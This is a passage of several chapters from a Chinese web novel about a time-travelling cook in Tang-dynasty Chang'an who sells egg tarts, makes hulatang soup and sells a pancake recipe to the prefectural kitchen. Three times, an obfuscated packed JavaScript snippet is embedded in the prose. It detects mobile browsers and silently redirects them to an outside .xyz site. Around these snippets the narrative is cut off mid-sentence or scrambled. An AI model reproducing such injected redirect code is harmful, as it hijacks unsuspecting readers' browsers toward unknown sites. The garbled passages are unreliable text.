她挑了一只微微焦黄的递过去,“这是上午第一炉做出来的,已经冷了,赵郎君尝尝可还酥香?” 说完又道:“以防万一,已多做出了十几枚备着,赵郎君不必担心数量问题。” 赵颐一边感叹崔时钰心细如发,一边伸手接过那枚蛋挞。 他咬下一口,酥皮簌簌掉渣,内馅香甜可口,滑嫩如脂。 他对着手中的蛋挞仔细瞧了两眼,满意道:“果然冷了也酥。” 没有什么比食客满意更重要的了,听到这话,崔时钰便知这单彻底稳了,心中长长松了口气,笑着将食盒盖好:“赵郎君满意就好。” 赵颐自是一万个满意。 想到自己几日前得了贵人们“太阳糕要新巧,不能同往年一样没有新意”的要求,到与朱安等人没日没夜研究新式太阳糕未果,再到在集市上偶遇崔时钰,再到得了这满院飘香的二百枚太阳挞糕…… 真是恍如梦一场。 他干脆利落地将剩下的十几贯钱交给崔时钰,想到什么,又解下一个锦囊递给她:“还请崔娘子收下。” 崔时钰一头雾水接过布袋,只觉沉甸甸的,解开一看,呼吸都停滞片刻——里面装的竟是满满一袋胡椒! 胡椒颗颗浑圆饱满,乌黑发亮,浓郁的辛香瞬间钻入鼻尖,至少得有五六两了。 崔时钰心头一跳:这几乎抵得上寻常人家三四个月的嚼用了。 她连忙行礼:“赵郎君,这太贵重了。” 赵颐摆摆手,笑道:“崔娘子不必推辞,娘子的手艺值这个价。” 崔时钰便这么稀里糊涂得了一袋胡椒。 待赵颐和阿泰阿烁三人带着蛋挞食盒还有其他工具离开,她才小心翼翼地将胡椒收进庖厨柜中最深处的陶罐里,又用布包了好几层,生怕受潮。 这可是胡椒啊!虽说在后世常见,但在本朝,这就是千里迢迢运来、价比黄金的稀罕物。 崔时钰摩挲着陶罐,唇角忍不住扬起。 这么多胡椒,是去集市上卖了换钱,还是用来做菜吃呢? 真是甜蜜的烦恼啊。 30. 其乐融融 暮色四合,天边最后一缕霞光斜斜地映照瓦片,将谢氏府邸的屋脊染成了暖金色。 刚从中和节宴回来的谢珏踏进府门,管事周明跟在他身后。 他手中提着一只精巧食盒,盖子盖得严实,却拦不不住隐隐透出的甜香。 这甜香跟随他一路行至正堂,刚进门与谢父谢母行过礼,郁清瑶便迎上前,欢喜道:“郎君回来啦。” 她见谢珏衣襟上有处微乱,不由莞尔,伸手抚平,顺手接过他脱下来的外袍,看到一旁的食盒,好奇问道:“郎君今日怎的带了点心回来?” 在她印象中,自家郎君一向是不喜这些小食的,今日是铁树开花了。 谢珏将食盒放在案上,脸上神情未变,但目光已经变得柔和温软:“今日中和节宴,席面上那道‘太阳挞糕’很受欢迎,我尝着也不错,宴毕向珍馐署典事要了一盒,带回来给你和爹娘尝个新鲜。” 郁氏共有姐妹三人,郁三娘身子骨弱,在饮食方面颇为严苛,时间一长自个也不爱吃东西了;郁大娘——当今皇后,一言一行皆如尺规商量,更是不能随心所欲;三姐妹当中,郁清瑶是最爱吃、最能吃,也是最方便吃的。 闻言,她马上来了兴趣,跃跃欲试道:“是么?那我可要与舅姑好好尝尝,甚少见你带什么吃食回来呢。” 周明见状在一旁笑着说道:“大郎素来不喜甜食,这次却破天荒地吃了两枚呢。” 郁清瑶惊得睁圆了眼:“吃了两枚?!” 下一刻便一把抱走食盒,小跑到谢父谢母面前,半是玩笑半是认真道:“阿翁,阿家,方才周管事说了,伯瑾今日已吃了两枚挞糕,万不能再让他吃了——这一盒子都是咱们的。” 郁清瑶比谢珏小了整八岁,谢珏三十有二,郁清瑶不过刚二十出头,和不苟言笑、成熟沉稳的夫君相比,很多了几分小孩子心性。 谢父谢母膝下无女,很是疼惜她,也爱她活泼爱娇的性子,特别是谢母,顺着儿媳的话笑道:“是是是,阿瑶说得对,这挞糕咱们都吃了,不给伯瑾留。” 和两个儿子不同,她是真心喜欢甜食。 小儿子还好,可能是因为还在学馆修学,什么都吃点,大儿子却是很少亲口称赞过什么吃食。此番也算真如周明所说的“破天荒”了。 是什么吃食能得伯瑾这般夸赞? 谢母很快便知晓了答案。 食盒一开,一阵甜香扑面而来,十二枚金黄挞糕整齐地码在里面。 挞糕酥皮层层叠叠,脆生生地翘着,金黄微焦,一看便知烤得极好;中间的奶黄色的内馅儿虽已冷了,却依旧是肉眼可见的软嫩,表面还凝着几块深褐色的焦糖斑,看上去诱人极了。 蛋香奶香扑鼻,谢母抽了抽鼻子,一时竟有些陶醉,捏起一枚,刚咬一口便眯起了眼:“酥皮入口化渣,内馅滑如凝脂,甜而不腻,同为牛乳与糖制成,比我吃过最好吃的醍醐饼还要美上几分,而且冷了竟然也酥!今年这太阳糕真是下工夫了。” 一块吃完,谢母仍觉不过瘾,又从食盒内拿出一枚,顺道给谢父塞了一块。 谢父本不喜这些甜食,然而毕竟是自家娘子递来的,实在拒绝不得,本想吃个一两口敷衍了事,谁知甫一入口便将这挞糕慢条斯理吃完了,还评价道:“嗯,尚可。” 谢父一贯性子傲娇,能说出这句话,那就是“太好吃了”的意思。 谢母和郁清瑶听了,边吃挞糕边笑。 谢父自己也有点意外自个竟吃完了一整块甜点,掩饰般咳了两声,试图把话题拉入正事:“这做太阳糕的庖师手艺还算说得过去,比京兆府那群做廊下食的厨子要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她知道自己赚得多,但没想到竟赚了这么多:不算成本费,二百枚蛋挞净赚二十贯,再加上月出摊卖饼赚的七贯钱,还有那半袋卖出去的胡椒——没错,她已经将那袋“黄金香料”处理完毕了。 一半卖出去,一半留作自家吃,这样既能满足口腹之欲又得了银钱,两全其美。 真是个完美的解决办法。 卖胡椒那日,崔时钰原是打算去问问胡麻子有无收购这半袋胡椒的想法,毕竟对方的米粮铺子里也有香料出售,没想到在去往铺子路上偶遇了郭大郎,对方倒是先胡麻子一步对她手上的胡椒产生了兴趣。 “如今市面上的胡椒真真假假,鱼目混珠,倒是叫人不好分辨,小娘子不如将这半袋胡椒卖与我,我吃着也放心。”郭大郎如是说道。 卖给谁不是卖,崔时钰自是没有不愿意的,当即和郭大郎一手交钱一手交胡椒,赚了七贯多钱呢。 总之,她现在手里约莫攥着三十多贯钱,再攒一点便能翻修铺子、添置用具,估计再出摊卖半月饼便差不多了。 食肆开张指日可待! 崔时钰越想越高兴,翻身下床,准备做锅胡辣汤,再配着一盘油馍头当朝食。 这吃法是还她上辈子去河南旅游时学到的。胡辣汤不必多说,鲜香麻辣,油馍头则是一种类似油条的当地特色小吃,金黄酥脆,外酥里软,一口下去满口留香,撕成小块泡在浓郁鲜辣的胡辣汤里,一汤一饼,相得益彰,堪称黄金搭档。 这么喜庆的日子,就得配些鲜香麻辣的吃食嘛。 趁着两个妹妹还在睡懒觉没起床——这两天她俩显然也累坏了,崔时钰悄没声下床洗漱,挎上篮子出门前往集市,从高记肉行那儿买了几根羊腿骨回来。 羊肉贵,但羊腿骨没什么人吃,便宜,买起来不怎么肉疼。 将买回来的羊骨冷水下锅,小火煮开,没过多久汤面便浮起一层浅灰褐色浮沫,崔时钰用木勺仔细撇去,等到灶火渐旺时又往骨汤里添了几片鲜姜和几截葱白。 趁着熬高汤的这会子工夫,她开始准备其他配料,把花椒、八角、桂皮、香叶、安息茴香用包裹好,制成简单的调料包。 其实还可以往里面再添些草果、肉蔻、陈皮等香料,奈何这时候的香料价格实在不菲,饶是她已经成为手握快四十贯银钱的女人,也不得不将钱包勒紧些。 除了草果、肉蔻、陈皮,汤底里也可以再添些干辣椒,做出来的胡辣汤味道更好。崔时钰自己倒是无所谓,但考虑到家里还有两名儿童,不宜吃得过辣,胡椒本身的辣味就很可以了,于是便打消了这个念头。 锅已完全烧开,崔时钰掀开锅盖,将系紧的香料包丢进去,拿起一旁的小石臼——这是她为了这半袋胡椒添置的新设备。 石杵与臼底发出有节奏的碰撞声,颗颗饱满圆润的胡椒粒很快就被研磨成了粗粉,辛烈的胡椒味儿仿佛无孔不入,稍微呼吸便要钻进鼻腔,崔时钰不得不屏住呼吸。 这就是胡辣汤“胡辣”味的关键。 外婆曾经说过,这胡辣汤讲究“三分料七分工”,胡椒要现磨才能保住香气,若是图省事用现成的粉,味道就差远了。 崔时钰做胡辣汤的次数不算多,但一直将这话记在心里。 骨汤的香气开始弥漫,与香料的辛香交织在一起,她满意地看着汤色转为清浅乳白,这才将磨好的胡椒粉末加入汤中。 接下来是做面筋。 和面、揉面、洗面,崔时钰很有技巧地将水盆中的面团揉搓得越来越有弹性,直到变成一团淡黄色的面筋。 面筋轻轻拉薄,划成菱形小块,投入滚汤当中,面筋这一步便算完成了。 剩下的那盆“浑浊的清水”是水与淀粉的混合物,同样大有用处,可以用来做凉皮吃。但凉皮做起来麻烦,而且这时候还没到吃它的季节,便拿出去晾在太阳底下晒成生粉吧! 处理配菜之前,崔时钰端起淀粉盆出门,刚出门瞧见两个妹妹睡眼惺忪地从卧房出来,一人头上顶着几撮睡乱的呆毛,搞对称似的,一撮往左边倒,一撮往右边倒。 两人还都穿着她给买的新衣服。 中和节一过便是春,崔时钰不想再让妹妹们穿原先那几件洗得发白的旧春衣,结了蛋挞钱的当晚便去成衣铺子买了新春装。 给阿锦买的是一件浅绿色襦裙,整身裙子都疏落地绣着木棉花,配着清新嫩脆的颜色,在日光下瞧着宛如一潭春水。 阿锦显然喜欢得很,买来便一直穿着,许是为了配这身衣服,连往日梳惯的发型都换了新的,鬓边散碎的发丝也用头油抿得规整,一身翠意,像新抽条的杨柳枝般生机勃发。 阿宁件绣了几只彩蝶的鹅黄长裙阿宁今日的头发也是阿锦梳的,分成两股扎成双鬟,系上鹅黄丝带,再穿上崔时钰买的那,看上去既天真又可爱。 阿宁的新鲜劲儿还没过,瞧见崔时钰,小跑着朝她过来,“阿姊,你快看,蝴蝶飞起来啦!”裙摆随着她的动作飞扬,上面的彩蝶仿佛真的要振翅而起。 崔时钰笑着:“阿宁跑起来,蝴蝶就会飞啦。” 她当然给自己也买了新衣服,是件淡紫色的交领襦裙,衣料细软,颜色像是紫藤花,素雅却不失韵味。 她喜欢紫色。 为了配这身春装,她还特意选了支紫藤花木簪。 比起长安城那些满身锦绣的贵女,这身打扮实在算不得出众,但崔时钰喜欢。 可惜这身漂亮衣服没法日常装着,若是不小心蹭了几滴油星子,她觉得自己怕是要心疼坏了。 虽说在家没法穿,但她觉得穿着出摊或许可行,在裙子外面罩上一件大大的围裙就行了! 将淀粉水盆放在院中光线最足的地方,崔时钰嘱咐完两个妹妹刷牙要刷满半盏茶的时间,便又进了庖厨。 用羊骨熬的胡辣汤底鲜香味正足,是下配菜的好时候。 鲜笋、木耳、豆腐,这几样都是庖厨里常备着的时令鲜蔬,清洗干净,木耳撕成小朵,笋片切得不薄不厚,豆腐则划成一指宽的条状。 估摸着时间差不多了,崔时钰掀开锅盖,热气瞬间蒸腾而上,高汤已经变成诱人的浅褐色,鲜香诱人。 她将羊骨和香料包一一捞出,把方才切好的配菜依次下锅,最后调入一小碗用凉水调开的生粉,汤底立刻变得浓稠起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722078|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 握着长柄木勺缓缓搅动,汤面顿时泛起漂亮浓稠的旋儿,香气如潮水般涌向四面八方。 外头传来熟悉的妹妹们的打闹声: “阿姊今日做的是什么朝食?好香,好像还有点辣呢,隔着门都闻见了。” “阿姊做的朝食香气哪次不能隔着门闻到?” “哎呀,二姊!” 崔时钰听着莞尔一笑,往锅中撒入一把细碎的芫荽末,淋入香醋和芝麻油,胡辣汤出锅。 阳光正好照在汤面上,将那淡褐微稠的汤汁映得晶莹透亮,连里头的配菜都看得一清二楚:吸饱了汤汁的面筋、翠绿清新的芫荽、软韧的木耳……各种配菜多得几乎快要在汤里打架。 一缕缕热气缓缓升腾而起,带着胡椒的辛烈、骨汤的醇香以及各种香料的香气和菜蔬清香,美味如有实质。 照例是姐妹三人一人一满碗,刚出锅的胡辣汤太烫喝不到嘴,崔时钰提醒妹妹们晾晾再喝。 趁胡辣汤端上桌晾凉的工夫,她起锅烧油,将方才剩下的面团揪成剂子,快速炸了一盘油馍头。 炸好的的油馍头外表金黄灿亮,圆圆滚滚,像裹了一层薄薄脆壳,掰开一看,内里却是蓬松柔软的,蜂窝状的面孔隙里还冒着热气,热腾腾的油香混着甜润弥漫开来,在小小的庖厨里久萦不散。 看着盘中堆成小金山似的油馍头,崔时钰顺手拿起一个咬了一口。 一口下去,牙齿先破开酥脆的外壳,发出细微的轻响,接着便陷入棉花糖般柔软的内瓤,带着微微嚼劲,越嚼越能尝到面团的天然甜甘,让人忍不住一个接一个地往嘴里送。 空口吃都好好吃哦! 崔时钰满足地眯起眼睛,吃了几个,端起碗开始喝汤。 骨汤熬得正好,鲜香微辣,胡椒的香辛和醋的微酸勾在一处,舒畅酣爽,越发令人口齿生津,胃口大开。 里面的配菜同样可口,面筋吸饱了汤汁,咬在嘴里都能爆浆;木耳和笋片也是鲜香脆爽,爽滑可口。 阿宁喝汤喝得头都不抬,一张小脸都喝红了,半碗下去才伸手去摸盘子里堆成小山的油馍头。 其实她早就对那金黄团子感兴趣了,但阿姊做的这胡椒汤实在太好喝,她根本舍不得停嘴! 她拿了三五块油馍头捏在手里,挨个掰开,往汤里一浸,这些小面团子立刻开始吸收汤汁,很快就和刚才外酥里嫩的模样大不相同。 吸饱了汤汁的油馍头外层变得绵软,内芯还留着几分韧劲,咬下去的瞬间,胡辣汤的辛香混着面香在唇齿间迸开,好吃极了。 阿宁在这边“好香好辣”,阿锦也小勺小勺舀着汤汁,轻轻吹凉,送入口中。 胡椒的辛和骨汤的鲜混合在一块儿,暖洋洋地从舌尖滑进肚子,辣而不燥,香而不腻,咽下之后口中还留着浓郁的胡椒香。 “这就是胡椒的味道么?”崔时锦垂眸看着碗中未研磨细碎的粗粉,小声道,“好香啊。” 似乎要将这味道牢牢记住似的,又连喝了好几口。 阿宁这时候已经开始吃起汤里的菜蔬,闻言咬着面筋道:“胡椒胡椒,我们喜欢你。” 崔时钰捧着汤碗,笑着看着妹妹们。 她一定会努力,让自己和妹妹们吃到更多的“胡椒”的。 32. 恭喜发财 对于常去吃的酱香饼的食客们来说,今日有个振奋人心的好消息: 崔娘子终于又把那辆熟悉的小饼车推出来了! 晨鼓方歇,排队的人已围着那棵老柳树绕了一圈,将招牌挡了个严实,只隐隐约约能瞧见牌子上露出的“崔记”二字。 一正在排队的熟客道:“哎哟,崔娘子可算是出摊了!我家孙儿点名要吃崔记的酱香饼,别的都不好使,这几日可把我愁坏了。” 一个挤在最前头的汉子闻言接过话茬,扭头笑道:“别说幼童,就连我这几日朝食都吃得没滋没味,古楼子吃着都不过瘾。” “崔娘子这酱饼真真是长安城独一份了,前些日子也来个卖酱饼的,味道还不如崔娘子做的十分之一,白瞎那么大一个摊子……某要一套加炸鸡脯的!” “……” 食客们七嘴八舌的声音在耳边响起,无一例外都在诉说着这几日对酱香饼的思念。 崔时钰听着莞尔一笑,抬眸对排队众人道:“莫急莫急,大家都有,当心踩到脚。” 说着将一张包好荷叶的饼子递出去,紧锣密鼓地赶制下一张。 阿锦依旧是负责收钱——别小瞧了这活儿,崔时钰做饼速度极快,食客们相应的付钱速度也快,阿锦不光要挨个收钱,还要记着谁多给了钱谁少给了钱,又要防着哪个爱占小便宜的不给钱偷偷溜走,可谓责任重大。 现在来卖饼的大多都是老客,对各规格口味的饼价都很熟悉,就算有头一次来买的新客不熟悉价格,也能询问周围的老客,是以无需再过多介绍,原先负责吆喝的阿宁便换了职务,啃完饼子便来帮二姐收钱了。 小姑娘一本正经收钱的模样倒很像那么回事:“这位阿姊方才要了一套‘梅香映雪’,那我便收你三文钱,一,二,三,对啦!” 萌得一旁的小娘子和小郎君直笑。 因着是阔别几日重新出摊,食客们与酱饼很有几分“小别胜新婚”之感,只用了不到一个时辰便把一百五十张饼子抢购一空,荷包蛋、炸鸡排、生菜叶这些配料也都所剩无几。 瞅着自个和妹妹们布袋子里装的满当当的铜钱,崔时钰高兴极了。 离铺子开张又进一步! 正要收摊,忽听不远处传来一道熟悉的声音:“崔小娘子,且慢些收摊!” 郭大郎气喘吁吁跑过来,“听隔壁刘大娘说你今日出了摊,我便紧赶慢过来,想着问小娘子点事。” “什么事?郭阿叔慢慢说。” “说来惭愧。”郭大郎笑了笑,“前几日在小娘子这儿得了半袋子胡椒粒,谁知我与我家娘子手笨得出奇,除了炖鱼和煮鱼羹,竟不知还能做什么新鲜吃食,虾塘里的虾也还没长大……知晓崔小娘子厨艺过人,便过来问问有何建议。” 说罢还砸砸嘴,似是怀念道:“这样好的胡椒,着实不能浪费了。” 这话崔时钰赞同,那可是来自宫里的胡椒呢。 她笑笑,将收了一半家伙什儿往饼铛旁边一搁,“原来如此,阿叔莫急,我告诉阿叔便是。” “阿叔家中既是养鱼,那我便先说说这鱼菜:若是鲤鱼,可切片用胡椒、酒酿腌了,裹蛋清快炒,炒出来鲜嫩得很;若是鲈鱼,与胡椒、葱白同蒸,出锅时淋上一勺热油,最是能突出鱼的鲜味。” 说着说着便想起昨日那锅热腾鲜香的胡辣汤,还有一系列与胡椒相关的现代美食:“胡椒还能用来做汤,取羊骨熬制高汤,加胡椒、香料和一些时令鲜蔬,最后撒上芫荽或葱花,冷的时候喝上一碗,能叫寒气全消。” 郭大郎听得入神:“前头这几道菜都好,最后这汤也从未听过,回去就试试!” 崔时钰继续道:“胡椒与肉也配,把肉片成薄片用胡椒和酱汁子腌了,下锅快炒,便是一道黑椒肉柳。” 她本来是想说黑椒牛柳,但考虑到这时候吃牛肉恐怕会犯法,便临时改成了“肉柳”。 “够了够了!”郭大郎连声道,“这些菜足够我与娘子研究一段时日了!多谢崔小娘子了。” 崔时钰笑笑,道了句“阿叔不必客气”。 其实她还有一系列菜谱没说,什么胡椒虾、椒盐排骨,还有黑椒意面……当然最后这个得改成黑椒索饼才行。 和郭大郎聊的时间不短,阿锦和阿宁已跑去方九娘那儿找伍儿玩了,崔时钰将半空的酱罐子码到一处,忽然听到头顶响起一道男声。 “崔娘子,我等你很久了。” 清朗带笑的嗓音落下,她抬眼便撞进一双潋滟如波的桃花眼里。 面前,约莫二十岁的少年郎君穿着一袭靛蓝长袍,眉目如画,逆着日光,越发衬得他轮廓分明的那张脸俊美不凡。 他身上带着松木与墨香混合的气息,还有些清冽酒香,闻来竟有些醉人。 崔时钰瞧着面前的年轻郎君,莫名觉得对方很有些眼熟,但又想不起来在哪里见过对方。 这不应该,如此气度不凡的人,哪怕只是匆匆买过一次饼子的食客,她也应该过目不忘才对。 到底是在哪儿见过呢? 回过神来,她突然意识到自己正盯着人家发愣,想到对方刚才说的那句“等你很久了”,还以为对方也是等她饼摊重新开张的食客,斟酌着字句道:“这位郎君,实是抱歉,今日的饼子已卖完了。郎君若是明日有空,可以先与我定下饼子口味,明日再来取。” 那人听完,勾起唇角微微一笑,那双桃花眼越发透亮,眸光流转间仿佛碎星闪烁。 真好看。 奇了怪了,崔时钰纳闷,她明明不是个颜控的。 都怪这人长得太好看了。 那人含笑一礼,动作间露出一截腕骨明晰、线条分明的手腕,“叨扰娘子,某姓谢,是为崔娘子的酱饼方子而来。” 闻言,崔时钰的第一个想法是,这人果然不是来买饼的;第二个想法是,他居然姓谢。 尽管她穿来长安城还没多长时间,但因有着崔娘子的记忆,也算占了个不小的便宜,知道长安城内的大事小情,其中自然包括城内最大的官姓甚名谁。 京兆尹谢珏,是长安城的地方行政长官,用崔时钰的话来说,其职责和地位类似于现代的首都市长。 “谢”这个姓氏,在长安城内只有首都市长一家。 莫非是京兆尹大人微服私访到她这儿来了? 崔时钰很快便否认了这个答案。 她虽没见过京兆尹本人,却也知道对方已经三十有余,而面前郎君分明只是二十出头的年纪,光是年龄就对不上。 思索片刻未果,崔时钰放弃继续思考,转向更重要的事:“谢小郎君是要购买我这酱饼方子?” “正是。”那人也不催促,只道,“崔娘子可有兴趣换个地方详谈?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726570|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔时钰自然愿意。 根据她的经验,一张食方能卖出去的钱说不定比做二百枚蛋挞还要多,她当然不会错过这个赚钱机会。 她对面前人说了句“谢小郎君稍等”,扭过头来,便见方九娘朝她挥手:“钰娘,你放心去忙你的事,待会儿我把阿锦和阿宁送回家。” 崔时钰默默把方九娘这份善意记下,由衷道:“那就麻烦你了九娘。” 谢宵却是在一旁不动声色地琢磨:“钰娘”,是哪个钰? 原来崔娘子的闺名是“钰”…… 想到这里,他又觉得不礼貌,连忙住了脑,继续含笑望着她。 为了这一刻,他等待已久。 * 半盏茶过后,两人落坐在西市一家茶肆的二楼雅间。 四下无人,清静得很,崔时钰恍然间回到上辈子和客人谈事的场合,却又因对面的人长得太好看而没办法平心静气把他当成顾客。 但正事还是要继续做,没什么比赚钱更重要。 她深吸一口气,双手捧着茶盏开口:“谢小郎君为何看上儿这小饼摊的方子了?” 谢宵轻笑,一双桃花眼中波光流转:“实不相瞒,京兆府廊下食库索然无味久矣,崔小娘子的酱饼大名鼎鼎,长安城内人人夸赞,使君同样有所耳闻,特派某来与崔娘子商讨。” 廊下食? 崔时钰一愣。 她原以为是谢家想要改善自家饮食,没想到竟是和官府相关的廊下食! 想到前几日为珍馐署做的那二百枚蛋挞,她觉得自己最近真是很“官运亨通”了。 谢宵端起茶盏抿了一口,继续道:“五十贯,方子不买断,崔娘子还可继续在集市出摊。” 崔时钰微微睁大了眼。 五十贯?! 这……这足足是上笔二百枚蛋挞的大订单报酬的两倍还多了……而且还不是买断! 有种金馅饼掉自己头上的感觉。 烙热饼、煎鸡蛋、炸鸡排的技术含量都不算多,唯一称得上“秘制”的便是那两罐一咸一辣的酱料,这张方子换五十贯银钱,她稳赚不亏。 对方倒是有点亏了。 不过想来京兆府财大气粗,应是不把区区五十贯放在眼里。 谢宵见她惊得一双黑长睫毛都微微颤动,觉得很是可爱,忍不住在心中轻笑,面上却不显,一本正经道:“崔娘子若是对价钱不满,还可再议。” 崔时钰连连摇头。 满意满意,简直满意到不能再满意了! 她道:“这样如何,谢小郎君先付定金,明日我将写好的方子带来给谢小郎君过目,若成,便按方才所言成交。” 谢宵颔首,“便如崔娘子所言。”说着从袖中取出一张飞钱凭证。 崔时钰以为是定金,接过一看,上面竟明晃晃写着五十贯钱。 这人怎么直接把全款就给交出来了! 崔时钰觉得好笑,捏着纸张问道:“谢小郎君不怕被骗?” 谢宵看着她,反问:“那崔娘子可会骗我?” “自然不会。” 谢宵微微一笑,“那便是了。” 看起来对这五十贯钱毫不在意。 崔时钰感叹了一会儿“有钱人啊有钱人”,过了片刻也后知后觉高兴起来。 这下可真是发财了! 33. 装修记事 卯时刚过,京兆府公厨便已锣鼓喧天地热闹起来。 灶台上的火呼呼烧着,大铁锅热汽蒸腾,戴着头巾的厨子正抡着铁铲翻炒;墙角堆着刚送来的新鲜菜肉,两个小吏蹲在那儿挑拣;水井旁边几个杂役正洗着碗碟,弄得水声哗哗、盆碗乱响。 除此之外,还有烤饼的,传菜的,整个公厨里人影乱晃,吆喝声、切菜声、油锅滋啦声,夹杂着管事和仆役们的交谈声混成一片,比刚开市的东西两市还要热闹。 忽然一阵脚步声传来,外头有人扯着嗓子喊道:“快些!大人们要上值了!” 主厨李大年抹了把额上沁出的汗,堆着笑回道:“这就上这就上,等着瞧好吧您。” 等那人走了,他扭过头恨声骂道:“催命呢这是,晚点吃能死人?” 李大年最近心情很不好。 一切都要从那张食方说起。 两日前,京兆尹大人身边的周管事给他和副厨郑宝泉递来了一张食方,要求他们三日内学会食方上所写的吃食做法,并在公厨内供应。 李大年点头哈腰地将食方接了,向周管事表示一定尽心完成,转头看清食方内容时却变了脸色。 他还以为是什么龙肝凤髓珍馐美味,没想到竟是区区几张饼子! 食方上,那饼子的制作方法详细至极,首先映入眼帘的便是两种不同口味的酱料制法,一咸酱一辣酱,往下还写着: “酱香饼内里可夹万物,除传统煎蛋,还可尝试: 溏心蛋,以猪油煎蛋,蛋黄保持半流心状最佳,夹入饼中,蛋黄流出,与酱料相融,风味独特; 炸鸡脯,取鸡胸肉横剖为厚片,以盐和葱姜腌制入味,裹蛋液面粉炸至金黄酥脆。” 背面还记载了几种“尚未试验,但可一试”的配菜做法,什么藕夹、茄夹、豕肉肠、炸鱼排、火腿…… 甚至还有几种李大年从未听过的食物:骨肉相连、鱼豆腐和生粉肠。 “骨肉相连,取鸡软骨与鸡腿肉相间串起,腌制后烤制,吃来既有脆爽软骨,又有鲜嫩鸡肉; 鱼豆腐,鱼肉剁茸,加蛋清搅打上劲,蒸熟后切块,口感肖似豆腐又带鱼鲜; 生粉肠,生粉调浆拌入豕肉糜,调味后搅打至黏稠,灌入肠衣扎紧,下锅油炸即可。” 生粉为主,还要拌入豕肉糜……这能好吃吗! 李大年拿着那薄薄纸张,眼神透着浓浓不屑,撇着嘴又扫了一眼,忍不住在心里琢磨:“京兆尹大人平日从不出错,这次怎的昏了头,竟花大价钱买下这玩意儿,这等上不得台面的小食,也配入公厨?” 尽管十分不情愿,但毕竟是京兆尹大人的金口玉言,还是不得不照做。 却也不愿自己亲自来。 想着京兆尹大人说不定过几天就把这一时兴起买下的食方忘了,李大年转转眼珠,转头将食方递给郑宝泉,“郑佐膳啊,食方这事儿就先由你负责吧,你知道的,我每日事务繁多,实是腾不出手——哎呀,蒸笼上汽了,我得赶紧去瞧瞧。” 说完拍拍郑宝泉煎饼,将食方随手扔到他手里,转身去忙其余事了。 李大年这种行事作风也不是一两日了,郑宝泉没说什么,接过食方,一一看下来。 没想到越看越入迷。 看到“蛋黄保持半流心状最佳,夹入饼中,蛋黄流出与酱料相融”,他的喉头不自觉滚动了一下,立刻想象出半流心蛋黄与酱料混合的美妙滋味。 郑宝泉继续往下看,看到了炸鸡脯,心想:“鸡脯易柴,横剖为片斩断纹理,确实能使其更易入味,又可保持嫩滑。” 他越看越觉得惊叹与敬佩:“虽不知献方者姓甚名谁、年方几何,但竟有如此巧思,这饼子里还能夹藕夹、茄夹、豕肉肠、炸鱼排,真是稀奇。” 待看到后面的“骨肉相连”,他更是啧啧称奇:“这样做出来的肉串外皮香脆,肉质鲜嫩,骨头也能嚼动,定然别有一番风味。” 看完食方上各类小食的做法,郑宝泉的眼神都亮了起来,仿佛发现了一片美食新大陆。 若是能按这个食方做出来各类小食,廊下食定不会再被百官们诟病了! * 崔时钰不知自己写下的食方已经在京兆府公厨掀起了波浪。 方子给出去已有两日,那位谢小郎君没有再传来消息,想来是还算满意,没什么再需要她修改的地方了。 终于可以开始装修了! 她一刻都等不及,恨不得现在就拉来几个装修工人将铺子翻修一新。 但不行,装修不是件小事,必须仔细挑选工匠,就跟选女婿似的,得把眼睛擦亮了。 上辈子崔时钰开了不少分店,认识几个手艺精湛的装修师傅,活儿做得好极了,瓷砖缝对得比尺子量得还齐,连开关面板都装得一般高。 这辈子却是两眼一抹黑,谁也不认识。 ——倒也不是完全不认识。 她心念一动,很快想出一个办法:虽然她不识得长安城的装修工人,但别人认识啊。 她可以去问别人! 脑海中浮现出几个熟人面孔,崔时钰马上扯了围裙出门了。 她打算先去找林冶工。 打铁和装修也算有异曲同工之妙,想来林冶工认识的装修匠会更多些。 七拐八拐走进冶坊,刚迈进铺子大门,热浪便夹杂着金属气味扑了过来。 崔时钰几乎一下就发现了立在炉子前的林冶工,忍不住再次发出感叹:林冶工生得可真高啊! 不仅高,还壮,每次她都觉得自己在和一堵墙对话。 想到这里,崔时钰差点笑场,连忙做了表情管理,边行叉手礼边道:“林冶工安好。” 林铁山从炉火前抬头,微黑的脸上汗珠滚滚,看到来人是崔时钰,笑道:“崔娘子安好,听说崔娘子上次那批太阳挞糕卖了好价钱?” 那日崔时钰在院子里做二百枚蛋挞的动静着实不小,再加上赵典事、阿泰阿烁等人进进出出十分显眼,这事想瞒都瞒不住,旁人知道也很正常。 崔时钰笑了笑,谦虚道:“要不是林冶工冶的手推车好,儿的酱香饼便做不出名头,酱香饼做不出名头,挞糕自然也没人买了,都是托林冶工的福罢了。” 林铁山擦了擦手站起身来,赧然一笑:“崔娘子过奖了,主要是娘子的手艺好。” 崔时钰回归正题,“不瞒林冶工,儿正有一事相求。儿想整修铺面和后面院子,林冶工见多识广,可认识手艺好的装修工匠?” 林铁山闻言道:“巧了,我有个表弟就是干这行的,去年刚给于记酒楼做了门窗。” 